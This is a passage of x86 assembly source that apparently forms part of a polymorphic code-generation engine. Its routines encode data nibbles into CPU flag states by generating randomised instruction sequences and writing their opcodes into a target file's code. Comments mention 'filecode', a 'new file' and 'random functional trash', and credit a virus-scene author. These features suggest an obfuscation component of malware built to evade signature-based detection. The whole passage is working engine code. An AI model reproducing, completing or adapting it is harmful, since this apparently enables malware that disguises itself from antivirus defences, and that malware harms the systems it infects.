  900.     test    byte[RandomNumber], 0000'1000b
  901.     jnz DoNibbleFin_AH
  902.  
  903.     test    byte[RandomNumber], 0000'0010b
  904.     jnz DoNibbleFinAL_2
  905.  
  906.     mov byte[edi+00], 0x88
  907.     mov byte[edi+01], 0xE0  ; mov al, ah
  908.    jmp DoNibbleFinAL_2_X
  909.  
  910.    DoNibbleFinAL_2:
  911.     mov byte[edi+00], 0x86
  912.     mov byte[edi+01], 0xC4  ; xchg ah, al
  913.     test    byte[RandomNumber], 0000'0100b
  914.     jnz DoNibbleFinAL_2_X
  915.  
  916.     mov byte[edi+01], 0xE0  ; xchg al, ah
  917.       DoNibbleFinAL_2_X:
  918.  
  919.     mov byte[edi+02], 0xAA  ; stos
  920.     add edi, 3
  921.     jmp DoNibbleEnd
  922.  
  923.  
  924.  
  925.     DoNibbleFin_AH:
  926.     mov byte[edi+00], 0x88
  927.     mov byte[edi+01], 0x27  ; mov   byte[edi], ah
  928.     mov byte[edi+02], 0x47  ; inc edi (thx hh86 :D)
  929.     add edi, 3
  930.     jmp DoNibbleEnd
  931.  
  932.  
  933.     DoNF_PUSHFD:
  934.     mov byte[edi], 0x9C     ; pushfd
  935.     inc edi
  936.  
  937.     test    byte[RandomNumber], 0100'0000b
  938.     jnz DoNF_PUSHFD_AL
  939.  
  940.  
  941.     mov al, byte[RandomNumber]
  942.     and al, 0000'0011b
  943.     add al, 0x58
  944.     mov byte[edi+00], al    ; pop e(a|c|d|b)x
  945.  
  946.     mov byte[edi+01], 0x88
  947.     and al, 0000'0011b
  948.     shl al, 3
  949.     or  al, 0000'0111b
  950.     mov byte[edi+02], al    ; mov byte[edi], (a|c|d|b)l
  951.     mov byte[edi+03], 0x47  ; inc edi (thx hh86 :D)
  952.     add edi, 4
  953.     jmp DoNibbleEnd
  954.  
  955.     DoNF_PUSHFD_AL:
  956.     mov byte[edi+00], 0x58  ; pop eax
  957.     mov byte[edi+01], 0xAA  ; stos
  958.     add edi, 2
  959. ;    jmp DoNibbleEnd
  960.  
  961.     DoNibbleEnd:
  962.  
  963.     mov dword[VerifiedAddress], edi
  964.  
  965. ret
  966.  
  967. ; ###########################################################################
  968. ; #####
  969. ; #####   Generate Nibbles
  970. ; #####
  971.  
  972.  
  973.  
  974.  
  975. ; ###########################################################################
  976. ; #####  Nibble 0: CF - (ROL, ROR)
  977.  
  978. GenerateNibble0:
  979. ; edi             ... pointer in filecode
  980. ; bl & 0000'1111b ... nibble to generate
  981.  
  982.  
  983. ; ebp:
  984. ; 0  ... rol Reg, 1
  985. ; 1  ... rol Reg, cl
  986.  
  987. ; 3  ... ror Reg, cl
  988.  
  989.  
  990.  
  991.     call    InformationToFlagByte   ; bh=flag byte
  992.  
  993.     GN0_GetTypeAgain:
  994.     call    GetRandomNumber
  995.     mov ebp, dword[RandomNumber]
  996.     and ebp, 0000'0011b
  997.  
  998.     cmp ebp, 2
  999.     je  GN0_GetTypeAgain
  1000.  
  1001.     push    0            ; loop counter
  1002.  
  1003.     GN0_CF_loop:             ; rol Reg, 1
  1004.  
  1005.     pop ecx
  1006.     inc ecx
  1007.     push    ecx
  1008.     cmp ecx, 0x2A
  1009.     ja  GN_PossibleInfinitLoop
  1010.  
  1011.     GN0_CF_GetAnotherCL:
  1012.         call    GetRandomNumber
  1013.         mov ecx, dword[RandomNumber]
  1014.  
  1015.         test    ecx, 0001'1111b        ; shiftcount must not be zero
  1016.     jz  GN0_CF_GetAnotherCL
  1017.  
  1018.  
  1019.     call    GetRandomNumber
  1020.     mov eax, dword[RandomNumber]
  1021.     push    eax
  1022.  
  1023.     cmp ebp, 0
  1024.     jne GN0_CF_loop_ROLN
  1025.  
  1026.     rol eax, 1
  1027.     jmp GN0_CF_loop_LAHF
  1028.  
  1029.     GN0_CF_loop_ROLN:             ; rol Reg, N/cl
  1030.     cmp ebp, 1
  1031.     jne GN0_CF_loop_RORN
  1032.  
  1033.     rol eax, cl
  1034.     jmp GN0_CF_loop_LAHF
  1035.  
  1036.     GN0_CF_loop_RORN:             ; ror Reg, N/cl
  1037.     ror eax, cl
  1038. ;    jmp GN0_CF_loop_LAHF
  1039.  
  1040.  
  1041.     GN0_CF_loop_LAHF:
  1042.     lahf
  1043.  
  1044.     pop edx
  1045.  
  1046.     and ah, byte[FlagMask]
  1047.     and bh, byte[FlagMask]
  1048.  
  1049.     cmp ah, bh
  1050.     jne GN0_CF_loop
  1051.  
  1052.     pop eax ; remove counter
  1053.  
  1054.     GN0_GetDifferentRegister:
  1055.     call    GetRandomNumber
  1056.     mov eax, dword[RandomNumber]
  1057.     and al, 0000'0011b
  1058.     cmp al, 0000'0001b
  1059.     je  GN0_GetDifferentRegister    ; dont use ECX because we can use CL as second parameter (~2h to find this :) )
  1060.  
  1061.     or  al, 0xB8        ; al=1011'10NN - NN...random  (eax, ebx, ecx, edx)
  1062.     mov byte[edi], al
  1063.     inc edi
  1064.  
  1065.     mov dword[edi], edx
  1066.     add edi, 4
  1067.  
  1068.     push    ebp
  1069.     and ebp, 0000'0001b
  1070.     pop ebp
  1071.     jnz GN0_CFN          ; is it "rotate Reg, 1" ?
  1072.  
  1073.     mov byte[edi], 0xD1
  1074.     inc edi
  1075.  
  1076.     and al, 0000'0011b
  1077.     cmp ebp, 0
  1078.     jne GN0_CF_CreateCode_ROR
  1079.     add al, 0xC0
  1080.     jmp GN0_CF_CreateCode_done
  1081.  
  1082.     GN0_CF_CreateCode_ROR:
  1083.     add al, 0xC8
  1084.  
  1085.     GN0_CF_CreateCode_done:
  1086.     mov byte[edi], al
  1087.     inc edi
  1088.     jmp GN0_CF_End
  1089.  
  1090.  
  1091.  
  1092.     GN0_CFN:
  1093.  
  1094.     mov byte[edi], 0xB9
  1095.     inc edi
  1096.  
  1097.     mov dword[edi], ecx
  1098.     add edi, 4
  1099.  
  1100.     mov byte[edi], 0xD3
  1101.     inc edi
  1102.  
  1103.     and al, 0000'0011b
  1104.  
  1105.     and ebp, 0000'0010b
  1106.     jnz GN0_CFN_ROR
  1107.  
  1108.     add al, 0xC0
  1109.     jmp GN0_CF_Write_End
  1110.  
  1111.     GN0_CFN_ROR:
  1112.     add al, 0xC8
  1113.  
  1114.     GN0_CF_Write_End:
  1115.     mov byte[edi], al
  1116.     inc edi
  1117.  
  1118.  
  1119.  
  1120.     GN0_CF_End:
  1121.     mov dword[VerifiedAddress], edi
  1122.  
  1123. ret
  1124.  
  1125.  
  1126. ; #####  Nibble 0: CF - (ROL, ROR)
  1127. ; ###########################################################################
  1128.  
  1129.  
  1130.  
  1131.  
  1132. ; ###########################################################################
  1133. ; #####  Nibble 1: AF, CF (PF, SF undefined) - (AAA, AAS)
  1134.  
  1135. GenerateNibble1:
  1136. ; edi             ... pointer in filecode
  1137. ; bl & 0000'1111b ... nibble to generate
  1138.  
  1139.  
  1140.  
  1141.     call    InformationToFlagByte   ; bh=flag byte
  1142.  
  1143.     call    GetRandomNumber
  1144.     mov ebp, dword[RandomNumber]
  1145.     and ebp, 0000'0001b
  1146.  
  1147.     push    0            ; loop counter
  1148.  
  1149.    GN1_Loop:
  1150.  
  1151.     pop eax
  1152.     inc eax
  1153.     push    eax
  1154.     cmp eax, 0x2A
  1155.     ja  GN_PossibleInfinitLoop
  1156.  
  1157.     call    GetRandomNumber
  1158.     mov eax, dword[RandomNumber]
  1159.     push    eax
  1160.  
  1161.     cmp ebp, 0          ; this instruction clears AF. Thats important because
  1162.     jne GN1_Aaa         ; AAA and AAS depend on AF, and influence CF depending on it.
  1163.  
  1164.     aas
  1165.     jmp GN1_LAHF
  1166.  
  1167.     GN1_Aaa:
  1168.     aaa
  1169.     jmp GN1_LAHF
  1170.  
  1171.     GN1_LAHF:
  1172.     pop edx
  1173.  
  1174.     lahf
  1175.  
  1176.     and ah, byte[FlagMask]
  1177.     and bh, byte[FlagMask]
  1178.     cmp ah, bh
  1179.    jne GN1_Loop
  1180.  
  1181.     pop eax ; remove counter
  1182.  
  1183.     mov byte[edi], 0xB8
  1184.     inc edi
  1185.  
  1186.     mov dword[edi], edx     ; mov Reg1, NUMBER
  1187.     add edi, 4
  1188.  
  1189.  
  1190.     cmp ebp, 0
  1191.     jne GN1_WriteAaa
  1192.  
  1193.     mov byte[edi], 0x3F
  1194.     inc edi
  1195.     jmp GN1_Fin
  1196.  
  1197.     GN1_WriteAaa:
  1198.     mov byte[edi], 0x37
  1199.     inc edi
  1200.  
  1201.   GN1_Fin:
  1202.     mov dword[VerifiedAddress], edi
  1203.  
  1204.  
  1205. ret
  1206.  
  1207.  
  1208. ; #####  Nibble 1: AF, CF (PF, SF undefined) - (AAA, AAS)
  1209. ; ###########################################################################
  1210.  
  1211.  
  1212.  
  1213.  
  1214. ; ###########################################################################
  1215. ; #####  Nibble 2: CF PF (AF undefined, SF undefined?) - (SHL, SHR, SAL, SAR)
  1216.  
  1217. GenerateNibble2:
  1218. ; edi             ... pointer in filecode
  1219. ; bl & 0000'1111b ... nibble to generate
  1220.  
  1221.  
  1222. ; ebp:
  1223. ; 0  ... shl Reg, 1
  1224. ; 1  ... shl Reg, N/cl
  1225. ; 4  ... sal Reg, 1
  1226. ; 5  ... sal Reg, N/cl
  1227. ; 7  ... sar Reg, N/cl
  1228.  
  1229.  
  1230.     call    InformationToFlagByte   ; bh=flag byte
  1231.  
  1232.     GN2_GetTypeAgain:
  1233.     call    GetRandomNumber
  1234.     mov ebp, dword[RandomNumber]
  1235.     and ebp, 0000'0111b
  1236.  
  1237.     cmp ebp, 2
  1238.     je  GN2_GetTypeAgain
  1239.     cmp ebp, 3
  1240.     je  GN2_GetTypeAgain
  1241.     cmp ebp, 6
  1242.     je  GN2_GetTypeAgain
  1243.  
  1244.     push    0   ; counter
  1245.  
  1246.     GN2_Shift_loop:              ; shl Reg, 1
  1247.  
  1248.     pop ecx
  1249.     inc ecx
  1250.     push    ecx
  1251.     cmp ecx, 0x2A
  1252.     ja  GN_PossibleInfinitLoop
  1253.  
  1254.     call    GetRandomNumber
  1255.     mov ecx, dword[RandomNumber]
  1256.  
  1257.     GN2_CF_GetAnotherCL:
  1258.         call    GetRandomNumber
  1259.         mov ecx, dword[RandomNumber]
  1260.  
  1261.         test    ecx, 0001'1111b     ; shiftcount must not be zero
  1262.     jz  GN2_CF_GetAnotherCL
  1263.  
  1264.     call    GetRandomNumber
  1265.     mov eax, dword[RandomNumber]
  1266.     push    eax
  1267.  
  1268.     cmp ebp, 0
  1269.     jne GN2_Shift_loop_SHLN
  1270.  
  1271.     shl eax, 1
  1272.     jmp GN2_Shift_loop_LAHF
  1273.  
  1274.     GN2_Shift_loop_SHLN:             ; shl Reg, N/cl
  1275.     cmp ebp, 1
  1276.     jne GN2_Shift_loop_SAL1
  1277.  
  1278.     shl eax, cl
  1279.     jmp GN2_Shift_loop_LAHF
  1280.  
  1281.     GN2_Shift_loop_SAL1:             ; sal Reg, 1
  1282.     cmp ebp, 4
  1283.     jne GN2_Shift_loop_SALN
  1284.  
  1285.     sal eax, 1
  1286.     jmp GN2_Shift_loop_LAHF
  1287.  
  1288.  
  1289.     GN2_Shift_loop_SALN:             ; sal Reg, N
  1290.     cmp ebp, 5
  1291.     jne GN2_Shift_loop_SARN
  1292.  
  1293.     sal eax, cl
  1294.     jmp GN2_Shift_loop_LAHF
  1295.  
  1296.  
  1297.     GN2_Shift_loop_SARN:             ; sar Reg, N
  1298.     sar eax, cl
  1299. ;    jmp GN3_Shift_loop_LAHF
  1300.  
  1301.  
  1302.     GN2_Shift_loop_LAHF:
  1303.     lahf
  1304.  
  1305.     pop edx
  1306.  
  1307.     and ah, byte[FlagMask]
  1308.     and bh, byte[FlagMask]
  1309.  
  1310.     cmp ah, bh
  1311.     jne GN2_Shift_loop
  1312.  
  1313.     pop eax ; remove counter
  1314.  
  1315.     GN2_GetDifferentRegister:
  1316.     call    GetRandomNumber
  1317.     mov eax, dword[RandomNumber]
  1318.     and al, 0000'0011b
  1319.     cmp al, 0000'0001b
  1320.     je  GN2_GetDifferentRegister    ; dont use ECX because we can use CL as second parameter (~2h to find this :) )
  1321.  
  1322.     or  al, 0xB8        ; al=1011'10NN - NN...random  (eax, ebx, edx)
  1323.     mov byte[edi], al
  1324.     inc edi
  1325.  
  1326.     mov dword[edi], edx
  1327.     add edi, 4
  1328.  
  1329.     push    ebp
  1330.     and ebp, 0000'0001b
  1331.     pop ebp
  1332.     jnz GN2_ShiftN      ; is it "shift Reg, 1" ?
  1333.  
  1334.     mov byte[edi], 0xD1
  1335.     inc edi
  1336.  
  1337.     and al, 0000'0011b
  1338.     cmp ebp, 0
  1339.     jne GN2_Shift_CreateCode_SAL
  1340.     add al, 0xE0
  1341.     jmp GN2_Shift_CreateCode_done
  1342.  
  1343.     GN2_Shift_CreateCode_SAL:
  1344.     cmp ebp, 4
  1345.     jne GN2_Shift_CreateCode_SAR
  1346.     add al, 0xF0
  1347.     jmp GN2_Shift_CreateCode_done
  1348.  
  1349.     GN2_Shift_CreateCode_SAR:
  1350.     add al, 0xF0
  1351.  
  1352.     GN2_Shift_CreateCode_done:
  1353.     mov byte[edi], al
  1354.     inc edi
  1355.     jmp GN2_Shift_End
  1356.  
  1357.     GN2_ShiftN:
  1358.  
  1359.     and al, 0000'0011b
  1360.  
  1361.     cmp ebp, 1
  1362.     jne GN2_ShiftNum_NotShl
  1363.  
  1364.     add al, 0xE0          ; shl
  1365.     jmp GN2_ShiftNum_WriteNow
  1366.  
  1367.     GN2_ShiftNum_NotShl:
  1368.     cmp ebp, 5
  1369.     jne GN2_ShiftNum_NotSal
  1370.  
  1371.     add al, 0xF0          ; sal
  1372.     jmp GN2_ShiftNum_WriteNow
  1373.  
  1374.     GN2_ShiftNum_NotSal:
  1375.     add al, 0xF8          ; sar
  1376. ;        jmp     GN2_ShiftNum_WriteNow
  1377.  
  1378.    GN2_ShiftNum_WriteNow:
  1379.  
  1380.     call    GetRandomNumber
  1381.     mov ah, byte[RandomNumber]  ; 0 ... shift Reg, NNNN
  1382.                     ; 1 ... shift Reg, cl
  1383.     and ah, 0000'0001b
  1384.  
  1385.     jz  GN2_Shift_Num
  1386.  
  1387.     mov byte[edi], 0xB9     ; mov ecx, ...
  1388.     inc edi
  1389.  
  1390.     mov dword[edi], ecx
  1391.     add edi, 4
  1392.  
  1393.     mov byte[edi], 0xD3
  1394.     inc edi
  1395.  
  1396.     mov byte[edi], al
  1397.     inc edi
  1398.     jmp GN2_Shift_End
  1399.  
  1400.     GN2_Shift_Num:
  1401.     mov byte[edi], 0xC1
  1402.     inc edi
  1403.  
  1404.     mov byte[edi], al
  1405.     inc edi
  1406.  
  1407.     mov byte[edi], cl
  1408.     inc edi
  1409.  
  1410.  
  1411.     GN2_Shift_End:
  1412.  
  1413.     mov dword[VerifiedAddress], edi
  1414. ret
  1415.  
  1416.  
  1417. ; #####  Nibble 2: CF PF (AF undefined, SF undefined?) - (SHL, SHR, SAL, SAR)
  1418. ; ###########################################################################
  1419.  
  1420.  
  1421. ; ###########################################################################
  1422. ; #####  Nibble 3: PF SF (AF undefined) - (AND, XOR, TEST)
  1423.  
  1424. GenerateNibble3:
  1425. ; edi             ... pointer in filecode
  1426. ; bl & 0000'1111b ... nibble to generate
  1427.  
  1428.  
  1429.  
  1430.     call    InformationToFlagByte   ; bh=flag byte
  1431.  
  1432.     call    GetRandomNumber
  1433.     mov ebp, dword[RandomNumber]
  1434.     and ebp, 0000'0011b
  1435.  
  1436.     push    0
  1437.  
  1438.    GN3_AndXorTest_Loop:
  1439.  
  1440.     pop eax
  1441.     inc eax
  1442.     push    eax
  1443.     cmp eax, 0x2A
  1444.     ja  GN_PossibleInfinitLoop
  1445.  
  1446.     call    GetRandomNumber
  1447.     mov eax, dword[RandomNumber]
  1448.     push    eax
  1449.  
  1450.     call    GetRandomNumber
  1451.     mov ecx, dword[RandomNumber]
  1452.  
  1453.     cmp ebp, 0
  1454.     jne GN3_AndXorTest_NotAnd
  1455.     and eax, ecx
  1456.     jmp GN3_AndXorTest_LAHF
  1457.  
  1458.     GN3_AndXorTest_NotAnd:
  1459.     cmp ebp, 1
  1460.     jne GN3_AndXorTest_NotXor
  1461.     xor eax, ecx
  1462.     jmp GN3_AndXorTest_LAHF
  1463.  
  1464.     GN3_AndXorTest_NotXor:
  1465.     test    eax, ecx
  1466.     jmp GN3_AndXorTest_LAHF
  1467.  
  1468.     GN3_AndXorTest_LAHF:
  1469.     pop edx
  1470.  
  1471.     lahf
  1472.  
  1473.     and ah, byte[FlagMask]
  1474.     and bh, byte[FlagMask]
  1475.     cmp ah, bh
  1476.    jne GN3_AndXorTest_Loop
  1477.  
  1478.     pop eax ; remove counter
  1479.  
  1480.     call    GetRandomNumber
  1481.     mov eax, dword[RandomNumber]
  1482.     and eax, 0000'0011b
  1483.     or  al, 0xB8        ; al=1011'10NN - NN...random  (eax, ebx, ecx, edx)
  1484.     mov byte[edi], al
  1485.     and eax, 0000'0011b
  1486.     inc edi
  1487.  
  1488.     mov dword[edi], edx     ; mov Reg1, NUMBER
  1489.     add edi, 4
  1490.  
  1491.     and eax, 0000'0011b
  1492.  
  1493.     call    GetRandomNumber
  1494.     mov esi, dword[RandomNumber]
  1495.     and esi, 0000'0001b
  1496.  
  1497.     je  GN3_AndXorTest_Num
  1498.                     ; and Reg1, Reg2
  1499.     GN3_AndXorTest_TwoRegisters_Next:
  1500.     call    GetRandomNumber
  1501.     mov ebx, dword[RandomNumber]
  1502.     and ebx, 0011b
  1503.     cmp ebx, eax
  1504.     je GN3_AndXorTest_TwoRegisters_Next       ; Not the same registers!
  1505.  
  1506.     or  bl, 0xB8
  1507.     mov byte[edi], bl       ; mov Reg2, ...
  1508.     inc edi
  1509.     mov dword[edi], ecx     ; mov Reg2, NNNN
  1510.     add edi, 4
  1511.  
  1512.     cmp ebp, 0
  1513.     jne GN3_AndXorTest_2Regs_NoAnd
  1514.     mov byte[edi], 0x21
  1515.    jmp GN3_AndXorTest_2Regs_cont1
  1516.  
  1517.    GN3_AndXorTest_2Regs_NoAnd:
  1518.     cmp ebp, 1
  1519.     jne GN3_AndXorTest_2Regs_NoXor
  1520.  
  1521.     mov byte[edi], 0x31
  1522.    jmp GN3_AndXorTest_2Regs_cont1
  1523.  
  1524.    GN3_AndXorTest_2Regs_NoXor:
  1525.     mov byte[edi], 0x85
  1526.    jmp GN3_AndXorTest_2Regs_cont1
  1527.  
  1528.    GN3_AndXorTest_2Regs_cont1:
  1529.     inc edi
  1530.  
  1531.     and bl, 0011b       ; Reg2
  1532.     shl bl, 3           ; bl=000??000
  1533.     add bl, al          ; bl=000??0??
  1534.     add bl, 1100'0000b      ; bl=110??0??
  1535.     mov byte[edi], bl
  1536.     inc edi
  1537.     jmp GN3_AndXorTest_Fin
  1538.  
  1539.     GN3_AndXorTest_Num:
  1540.     push    ebp
  1541.     and ebp, 0000'0010b
  1542.     pop ebp
  1543.     jz  GN3_AndXorTest_Num_AndXor
  1544.  
  1545.     mov byte[edi], 0xF7
  1546.     inc edi
  1547.  
  1548.     or  al, 0xC0
  1549.     mov byte[edi], al
  1550.     inc edi
  1551.  
  1552.     mov dword[edi], ecx
  1553.     add edi, 4
  1554.    jmp GN3_AndXorTest_Fin
  1555.  
  1556.  
  1557.    GN3_AndXorTest_Num_AndXor:
  1558.     mov byte[edi], 0x81
  1559.     inc edi
  1560.  
  1561.     cmp ebp, 0
  1562.     jne GN3_AndXorTest_Num_NoAnd
  1563.     or  al, 0xE0
  1564.    jmp GN3_AndXorTest_Num_cont1
  1565.  
  1566.    GN3_AndXorTest_Num_NoAnd:
  1567.     or  al, 0xF0
  1568. ;    jmp GN3_AndXorTest_Num_cont1
  1569.  
  1570.    GN3_AndXorTest_Num_cont1:
  1571.     mov byte[edi], al
  1572.     inc edi
  1573.  
  1574.     mov dword[edi], ecx
  1575.     add edi, 4
  1576.  
  1577.   GN3_AndXorTest_Fin:
  1578.  
  1579.     mov dword[VerifiedAddress], edi
  1580. ret
  1581.  
  1582.  
  1583. ; #####  Nibble 3: CF PF SF (AF undefined) - (AND, XOR, TEST)
  1584. ; ###########################################################################
  1585.  
  1586.  
  1587.  
  1588. ; ###########################################################################
  1589. ; #####  Nibble 4: AF PF SF (DEC, INC)
  1590.  
  1591. GenerateNibble4:
  1592. ; edi             ... pointer in filecode
  1593. ; bl & 0000'1111b ... nibble to generate
  1594.  
  1595.  
  1596.     call    InformationToFlagByte   ; bh=flag byte
  1597.  
  1598.     call    GetRandomNumber
  1599.     mov ebp, dword[RandomNumber]
  1600.     and ebp, 0000'0001b
  1601.  
  1602.  
  1603.     push    0
  1604.  
  1605.    GN4_IncDec_Loop:
  1606.  
  1607.     pop eax
  1608.     inc eax
  1609.     push    eax
  1610.     cmp eax, 0x2A
  1611.     ja  GN_PossibleInfinitLoop
  1612.  
  1613.     call    GetRandomNumber
  1614.     mov eax, dword[RandomNumber]
  1615.     push    eax
  1616.  
  1617.     cmp ebp, 0
  1618.     je  GN4_IncDec_Loop_DEC
  1619.  
  1620.     inc eax
  1621.     lahf
  1622.    jmp GN4_IncDec_Loop_fin
  1623.  
  1624.    GN4_IncDec_Loop_DEC:
  1625.     dec eax
  1626.     lahf
  1627.  
  1628.    GN4_IncDec_Loop_fin:
  1629.     pop edx
  1630.  
  1631.     and ah, byte[FlagMask]
  1632.     and bh, byte[FlagMask]
  1633.     cmp ah, bh
  1634.    jne GN4_IncDec_Loop
  1635.  
  1636.     pop eax ; remove counter
  1637.  
  1638.     call    GetRandomNumber
  1639.     mov eax, dword[RandomNumber]
  1640.     and al, 0000'0011b
  1641.     or  al, 0xB8        ; al=1011'10NN - NN...random  (eax, ebx, ecx, edx)
  1642.     mov byte[edi], al
  1643.     inc edi
  1644.  
  1645.     mov dword[edi], edx
  1646.     add edi, 4
  1647.  
  1648.  
  1649.     and al, 0000'0011b
  1650.  
  1651.     cmp ebp, 1
  1652.     je  GN4_IncDec_Loop_writeByteINC
  1653.  
  1654.     add al, 8
  1655.  
  1656.    GN4_IncDec_Loop_writeByteINC:
  1657.     add al, 0x40
  1658.  
  1659.     mov byte[edi], al
  1660.     inc edi
  1661.  
  1662.     mov dword[VerifiedAddress], edi
  1663. ret
  1664.  
  1665.  
  1666. ; #####  Nibble 4: AF PF SF (DEC, INC)
  1667. ; ###########################################################################
  1668.  
  1669.  
  1670. ; ###########################################################################
  1671. ; #####  Nibble 5: AF CF PF SF (ADD, CMD, NEG, SUB)
  1672.  
  1673.  
  1674. GenerateNibble5:
  1675. ; edi             ... pointer in filecode
  1676. ; bl & 0000'1111b ... nibble to generate
  1677.  
  1678. ; AF CF PF SF
  1679. ; using ADD, SUB, CMP, NEG
  1680.  
  1681.     call    GetRandomNumber
  1682.     mov ebp, dword[RandomNumber]
  1683.     and ebp, 0000'0011b
  1684.  
  1685.     cmp ebp, 0x0
  1686.     je  GN5_Neg
  1687.  
  1688.  
  1689.  
  1690.    GN8AddSubCmpNext:
  1691.     call    GetRandomNumber
  1692.     mov ebp, dword[RandomNumber]
  1693.     and ebp, 0000'0011b       ; ebp tells which instruction to use (1=add, 2=sub, 3=cmp)
  1694.     jz  GN8AddSubCmpNext
  1695.     jmp GN5_AddSubCmp
  1696.  
  1697.     GN5_fin:
  1698.  
  1699.     mov dword[VerifiedAddress], edi
  1700. ret
  1701.  
  1702.  
  1703.  
  1704. GN5_Neg:
  1705.     call    InformationToFlagByte   ; bh=flag byte
  1706.  
  1707.     push    0
  1708.  
  1709.     GN5_Neg_Loop:
  1710.  
  1711.     pop eax
  1712.     inc eax
  1713.     push    eax
  1714.     cmp eax, 0x2A
  1715.     ja  GN_PossibleInfinitLoop
  1716.  
  1717.     call    GetRandomNumber
  1718.     mov eax, dword[RandomNumber]
  1719.     push    eax
  1720.  
  1721.     neg eax
  1722.     lahf
  1723.  
  1724.     pop edx
  1725.  
  1726.     cmp ah, bh
  1727.     jne GN5_Neg_Loop
  1728.  
  1729.     pop eax
  1730.  
  1731.     call    GetRandomNumber
  1732.     mov eax, dword[RandomNumber]
  1733.     and al, 0000'0011b
  1734.     or  al, 0xB8        ; al=1011'10NN - NN...random  (eax, ebx, ecx, edx)
  1735.     mov byte[edi], al
  1736.     inc edi
  1737.  
  1738.     mov dword[edi], edx
  1739.     add edi, 4
  1740.  
  1741.     mov byte[edi], 0xF7
  1742.     inc edi
  1743.  
  1744.     and al, 0000'0011b
  1745.     add al, 0xD8
  1746.     mov byte[edi], al
  1747.     inc edi
  1748.  
  1749. jmp GN5_fin
  1750.  
  1751.  
  1752.  
  1753.  
  1754. GN5_AddSubCmp:
  1755.     call    InformationToFlagByte   ; bh=flag byte
  1756.     call    GetRandomNumber
  1757.  
  1758.     push    0       ; loop counter
  1759.  
  1760.   GN5_AddSubCmp_Loop:
  1761.  
  1762.     pop edx
  1763.     inc edx
  1764.     push    edx
  1765.     cmp edx, 0x2A
  1766.     ja  GN_PossibleInfinitLoop
  1767.  
  1768.     mov edx, dword[RandomNumber]
  1769.     push    edx
  1770.     call    GetRandomNumber
  1771.     mov esi, dword[RandomNumber]
  1772.  
  1773.     cmp ebp, 1
  1774.     je  GN5_AddSubCmp_Loop_Sub
  1775.  
  1776.     cmp ebp, 2
  1777.     je  GN5_AddSubCmp_Loop_Cmp
  1778.  
  1779.     mov ecx, 0x01C0
  1780.     add edx, esi
  1781.    jmp GN5_AddSubCmp_Loop_LAHF
  1782.  
  1783.    GN5_AddSubCmp_Loop_Sub:
  1784.     mov ecx, 0x29E8
  1785.     sub edx, esi
  1786.    jmp GN5_AddSubCmp_Loop_LAHF
  1787.  
  1788.    GN5_AddSubCmp_Loop_Cmp:
  1789.     mov ecx, 0x39F8
  1790.     cmp edx, esi
  1791.  
  1792.  
  1793.    GN5_AddSubCmp_Loop_LAHF:
  1794.     lahf
  1795.  
  1796.     pop edx
  1797.  
  1798.     and ah, byte[FlagMask]
  1799.     and bh, byte[FlagMask]
  1800.     cmp ah, bh
  1801.    jne  GN5_AddSubCmp_Loop
  1802.  
  1803.     pop eax ; remove counter
  1804.  
  1805.     call    GetRandomNumber
  1806.     mov eax, dword[RandomNumber]
  1807.     and eax, 0000'0011b    ; create Register number
  1808.     push    eax        ; save Register number
  1809.  
  1810.     mov bl, al
  1811.     add bl, 0xB8
  1812.  
  1813.     mov byte[edi], bl
  1814.     inc edi
  1815.  
  1816.     mov dword[edi], edx
  1817.     add edi, 4          ; mov Reg1, NNNN
  1818.  
  1819.     call    GetRandomNumber
  1820.     mov eax, dword[RandomNumber]
  1821.     and eax, 1
  1822.  
  1823.     jz  GN5_AddSubCmp_TwoRegisters
  1824.  
  1825.  
  1826.     mov byte[edi], 0x81
  1827.     inc edi
  1828.  
  1829.     mov dl, cl
  1830.     pop eax         ; get Register number
  1831.     add dl, al          ; use Register number
  1832.     mov byte[edi], dl       ; add Reg, ...
  1833.     inc edi
  1834.     mov dword[edi], esi
  1835.     add edi, 4
  1836.    jmp  GN5_fin
  1837.  
  1838.    GN5_AddSubCmp_TwoRegisters:
  1839.  
  1840.     pop eax     ; Register number
  1841.     and al, 0000'0011b
  1842.  
  1843.     GN5_AddSubCmp_TwoRegisters_Next:
  1844.     call    GetRandomNumber
  1845.     mov ebx, dword[RandomNumber]
  1846.     and ebx, 0011b
  1847.     cmp ebx, eax
  1848.     je GN5_AddSubCmp_TwoRegisters_Next       ; Not the same registers!
  1849.  
  1850.     or  bl, 0xB8
  1851.     mov byte[edi], bl       ; mov Reg2, ...
  1852.     inc edi
  1853.     mov dword[edi], esi     ; mov Reg2, NNNN
  1854.     add edi, 4
  1855.  
  1856.     and bl, 0011b       ; Reg2
  1857.     shl bl, 3           ; bl=000??000
  1858.     add bl, al          ; bl=000??0??
  1859.     or  bl, 1100'0000b      ; bl=110??0??
  1860.     mov byte[edi], ch
  1861.     inc edi
  1862.     mov byte[edi], bl
  1863.     inc edi         ; add Reg1, Reg2
  1864.  
  1865. jmp GN5_fin
  1866.  
  1867. ; #####  Nibble 5: AF CF PF SF (ADD, CMD, NEG, SUB)
  1868. ; ###########################################################################
  1869.  
  1870. InformationToFlagByte:
  1871. ; in:  bl=0000'SAPC
  1872. ; out: bh=S00A'0P1C
  1873.  
  1874.     push    eax
  1875.     mov al, bl
  1876.                 ; CF:
  1877.     mov bh, bl      ; ah=0000'SAPC
  1878.     and bh, 0000'0001b  ; ah=0000'000C
  1879.  
  1880.                 ; PF:
  1881.     shl bl, 1       ; al=000S'APC0
  1882.     or  bh, bl      ; ah=000S'APCC
  1883.     and bh, 0000'0101b  ; ah=0000'0P0C
  1884.  
  1885.                 ; AF:
  1886.     shl bl, 1       ; al=00SA'PC00
  1887.     and bl, 0011'0000b  ; al=00SA'0000
  1888.     or  bh, bl      ; ah=00SA'0P0C
  1889.     and bh, 0001'0101b  ; ah=000A'0P0C
  1890.  
  1891.                 ; SF:
  1892.     shl bl, 2       ; al=SA00'0000
  1893.     or  bh, bl      ; ah=SA0A'0P0C
  1894.     and bh, 1001'0101b  ; ah=S00A'0P0C
  1895.     or  bh, 0000'0010b  ; ah=S00A'0P1C
  1896.  
  1897.     xchg    al, bl
  1898.     pop eax
  1899. ret
  1900.  
  1901.  
  1902. GN_PossibleInfinitLoop:
  1903. ; given Nibble could not be created with current methode
  1904. ; therefore give up after 42+ trials and try with another one
  1905.  
  1906.  
  1907.     pop eax     ; remove counter
  1908.     pop eax     ; remove return-addresse
  1909.  
  1910.     mov edi, dword[VerifiedAddress] ; last correct addresse of file
  1911.  
  1912.                 ; if there has already been some code written to the
  1913.                 ; new file, it can be considered as random functional trash :)
  1914.  
  1915. jmp CreateCodeForNibble
  1916.  
  1917.  
  1918.  
  1919. ; #####
  1920. ; #####   Generate Nibbles
  1921. ; #####
  1922. ; ###########################################################################
